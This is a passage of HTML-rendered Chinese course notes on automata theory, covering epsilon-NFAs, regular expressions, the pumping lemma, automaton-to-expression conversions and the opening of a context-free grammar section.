style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span></p>
<p>FA 的 ID 与描述方式对 DFA 同样有效</p>
<h3 id="空迁移"><a href="#空迁移">空迁移</a></h3>
<p>定义五元组：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi><mo>=</mo><mo stretchy="false">(</mo><mi>Q</mi><mo separator="true">,</mo><mi mathvariant="normal">Σ</mi><mo separator="true">,</mo><mi>δ</mi><mo separator="true">,</mo><msub><mi>q</mi><mn>0</mn></msub><mo separator="true">,</mo><mi>F</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">M = (Q, \Sigma, \delta, q_0, F)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">Q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">Σ</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mclose">)</span></span></span></span></p>
<p>在 NFA 的基础上，进一步允许 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>l</mi><mi>t</mi><mi>a</mi></mrow><annotation encoding="application/x-tex">delta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">lt</span><span class="mord mathnormal">a</span></span></span></span> 满足：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∀</mi><mo stretchy="false">(</mo><mi>q</mi><mo separator="true">,</mo><mi>a</mi><mo stretchy="false">)</mo><mo>∈</mo><mi>Q</mi><mo>×</mo><mi mathvariant="normal">Σ</mi><mo separator="true">,</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>q</mi><mo separator="true">,</mo><mi>a</mi><mo stretchy="false">)</mo><mo>=</mo><mrow><msub><mi>p</mi><mn>0</mn></msub><mo separator="true">,</mo><msub><mi>p</mi><mn>1</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>p</mi><mi>m</mi></msub></mrow><mo separator="true">,</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>q</mi><mo separator="true">,</mo><mi>ε</mi><mo stretchy="false">)</mo><mo>=</mo><mrow><msub><mi>p</mi><mn>0</mn></msub><mo separator="true">,</mo><msub><mi>p</mi><mn>1</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>p</mi><mi>m</mi></msub></mrow></mrow><annotation encoding="application/x-tex">\forall(q,a) \in Q \times \Sigma, \delta(q,a) = {p_0, p_1, \dots,p_m}, \delta(q,\varepsilon) = {p_0, p_1, \dots,p_m}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∀</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">a</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Σ</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">a</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">ε</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span>。</p>
<p>即允许 M 在状态 q 下不输入任何字符而选择改变状态，做空移动，称为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ε</mi><mo>−</mo><mi>N</mi><mi>F</mi><mi>A</mi></mrow><annotation encoding="application/x-tex">\varepsilon-NFA</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">ε</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">NF</span><span class="mord mathnormal">A</span></span></span></span>。</p>
<p>空迁移 NFA 同样和 NFA 具有等价性。</p>
<blockquote>
<p>注意在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ε</mi></mrow><annotation encoding="application/x-tex">\varepsilon</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">ε</span></span></span></span>-NFA 中，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi></mrow><annotation encoding="application/x-tex">\delta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span></span></span></span> 与 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mover accent="true"><mi>δ</mi><mo>^</mo></mover></mrow><annotation encoding="application/x-tex">\hat{\delta}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9579em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9579em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span></span><span style="top:-3.2634em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.1944em;"><span class="mord">^</span></span></span></span></span></span></span></span></span></span> 不等价，需要根据上下文区分。</p>
</blockquote>
<h2 id="正则语言--表达式"><a href="#正则语言--表达式">正则语言 / 表达式</a></h2>
<p>正则表达式 Regular Expression - 使用适当的约定用更简洁的方式来表达文法 FA 所表达的语言</p>
<p><strong>FA 是正则语言的识别器</strong>（有限自动机和正则表达式等价）</p>
<p>定义：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∅</mi><mtext>和</mtext><mi>ε</mi></mrow><annotation encoding="application/x-tex">\emptyset 和 \varepsilon</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8056em;vertical-align:-0.0556em;"></span><span class="mord">∅</span><span class="mord cjk_fallback">和</span><span class="mord mathnormal">ε</span></span></span></span> 是正则表达式，表示语言 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∅</mi><mtext>和</mtext><mi>ε</mi></mrow><annotation encoding="application/x-tex">\emptyset 和 \varepsilon</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8056em;vertical-align:-0.0556em;"></span><span class="mord">∅</span><span class="mord cjk_fallback">和</span><span class="mord mathnormal">ε</span></span></span></span></p>
<p>若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∀</mi><mi>a</mi><mo>∈</mo><mi mathvariant="normal">Σ</mi></mrow><annotation encoding="application/x-tex">\forall a \in \Sigma</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.0391em;"></span><span class="mord">∀</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Σ</span></span></span></span> 是正则表达式，表示语言 {a}；</p>
<p>若 r 和 s 是 RE，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mo>+</mo><mi>s</mi><mo separator="true">,</mo><mi>r</mi><mo>⋅</mo><mi>s</mi></mrow><annotation encoding="application/x-tex">r + s, r\cdot s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span></span></span></span> 是正则表达式，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>r</mi><mo>∗</mo></msup></mrow><annotation encoding="application/x-tex">r^*</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6887em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span></span></span></span> 是正则表达式。</p>
<ul>
<li>正则语言 L (RE)：有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi><mo stretchy="false">(</mo><msub><mi>r</mi><mn>1</mn></msub><mo>+</mo><msub><mi>r</mi><mn>2</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mi>L</mi><mo stretchy="false">(</mo><msub><mi>r</mi><mn>2</mn></msub><mo stretchy="false">)</mo><mo>∪</mo><mi>L</mi><mo stretchy="false">(</mo><msub><mi>r</mi><mn>2</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">L(r_1 + r_2) = L (r_2) \cup L (r_2)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">L</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">L</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∪</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">L</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></li>
</ul>
<h3 id="️-正则语言的证明泵引理-pumping-lemma"><a href="#️-正则语言的证明泵引理-pumping-lemma"><strong>⭐️ 正则语言的证明：泵引理</strong> Pumping Lemma</a></h3>
<ul>
<li>泵引理：L 为一个正则语言，则存在一个常数 N，使得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∀</mi><mi>z</mi><mo>∈</mo><mi>L</mi><mo separator="true">,</mo></mrow><annotation encoding="application/x-tex">\forall z \in L, </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.0391em;"></span><span class="mord">∀</span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">L</span><span class="mpunct">,</span></span></span></span>若 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mi>z</mi><mi mathvariant="normal">∣</mi><mo>≥</mo><mi>N</mi></mrow><annotation encoding="application/x-tex">|z| \ge N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span>，能把 z 分为三个部分 xyz 满足有：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi><mo mathvariant="normal">≠</mo><mi>ε</mi><mo separator="true">,</mo><mi mathvariant="normal">∣</mi><mi>x</mi><mi>y</mi><mi mathvariant="normal">∣</mi><mo>≤</mo><mi>N</mi><mo separator="true">,</mo><mi mathvariant="normal">∀</mi><mi>k</mi><mo>≥</mo><mn>0</mn><mo separator="true">,</mo><mi>x</mi><msup><mi>y</mi><mi>k</mi></msup><mi>z</mi><mo>∈</mo><mi>L</mi></mrow><annotation encoding="application/x-tex">y \ne \varepsilon, |xy| \le N, \forall k \ge 0, xy^kz \in L</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ε</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∀</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0435em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span>。</li>
</ul>
<p>利用反证法可以证明 L 不为正则语言。(找到恰当的拆分，并得到一个反例即可)</p>
<p>泵引理只是一个 RG 的必要条件，<strong>不可用于证明一个而语言是 RG</strong>。</p>
<p>Eg.<a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-EIVhhC.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-EIVhhC.png" alt="image-20200902194829475" loading="lazy" data-wrapped="true"></a></p>
<blockquote>
<p>Myhill-Nerode Theorem 迈希尔尼罗德定理：L 是正则语言，当且仅当 RL 有有限的等价类。</p>
<p>是一个证明语言是正则语言的必要充分条件。</p>
</blockquote>
<h3 id="正则语言的封闭性"><a href="#正则语言的封闭性">正则语言的封闭性</a></h3>
<ul>
<li>RL 对于并、乘积、闭包运算封闭</li>
<li>RL 对于补、交运算封闭</li>
</ul>
<h2 id="自动机的转换"><a href="#自动机的转换">自动机的转换</a></h2>
<p>通常的转换顺序： RE -> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ε</mi></mrow><annotation encoding="application/x-tex">\varepsilon</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">ε</span></span></span></span>-NFA -> NFA -> DFA</p>
<h3 id="nfa---dfa-及等价性"><a href="#nfa---dfa-及等价性">NFA -> DFA 及等价性</a></h3>
<p>如果能用 NFA 来表示的语言，同样可以使用 DFA 来表示：</p>
<img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-saRL4G.png" alt="image-20200902163650146" style="zoom:50%;" />
<p>接下来移除不可到达的状态集合得到：</p>
<img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-mX44Q7.png" alt="image-20200902163714895" style="zoom:50%;" />
<h3 id="fa---re-的转换"><a href="#fa---re-的转换">FA -> RE 的转换</a></h3>
<ul>
<li>使用状态消去 State Elimination:</li>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-aNNfST.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-aNNfST.png" alt="image-20200902183523252" loading="lazy" data-wrapped="true"></a></li>
<li>状态消去的方法：</li>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-50GLgp.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-50GLgp.png" alt="image-20200902183712933" loading="lazy" data-wrapped="true"></a></li>
</ul>
<h3 id="re---fa"><a href="#re---fa">RE -> FA</a></h3>
<img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-EtxG8V.png" alt="image-20200902183953737" style="zoom:33%;" />
<ul>
<li>Eg.<img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-wmOKB9.png" alt="image-20200902184009512" style="zoom: 33%;" /></li>
</ul>
<h1 id="iii-上下文无关文法与下推自动机"><a href="#iii-上下文无关文法与下推自动机">III: 上下文无关文法与下推自动机</a></h1>
<h2 id="上下文无关文法-cfg"><a href="#上下文无关文法-cfg">上下文无关文法 CFG</a></h2>
<p>Context Free Grammar CFG 需满足：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∀</mi><mi>α</mi><mo>→</mo><mi>β</mi><mo>∈</mo><mi>P</mi></mrow><annotation encoding="application/x-tex">\forall \alpha \rightarrow \beta \in P</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord">∀</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span>，均有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>∈</mo><mi>V</mi></mrow><annotation encoding="application/x-tex">\alpha \in V</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span></span></span></span> 成立（即左侧不可以含有终止字符，但右侧可以含多个 symbols，而不是正则语言中的右侧只允许一个）。</p>
<p>一些概念：</p>
<table>
<thead>
<tr>
<th>E</th>
<th>T</th>
<th>F</th>
<th>P</th>
<th>id</th>
</tr>
</thead>
<tbody>
<tr>
<td>Expression</td>
<td>Term</td>
<td>Factor</td>
<td>Primary</td>
<td>Identifier</td>
</tr>
<tr>
<td>表达式</td>
<td>项</td>
<td>因子</td>
<td>初等量</td>
<td>标识符</td>
</tr>
</tbody>
</table>
<ul>
<li>定义：生成树 / 派生树 parse tree：aka 分析树，语法树</li>
<li>对于字符串的另一种表达方式
<ul>
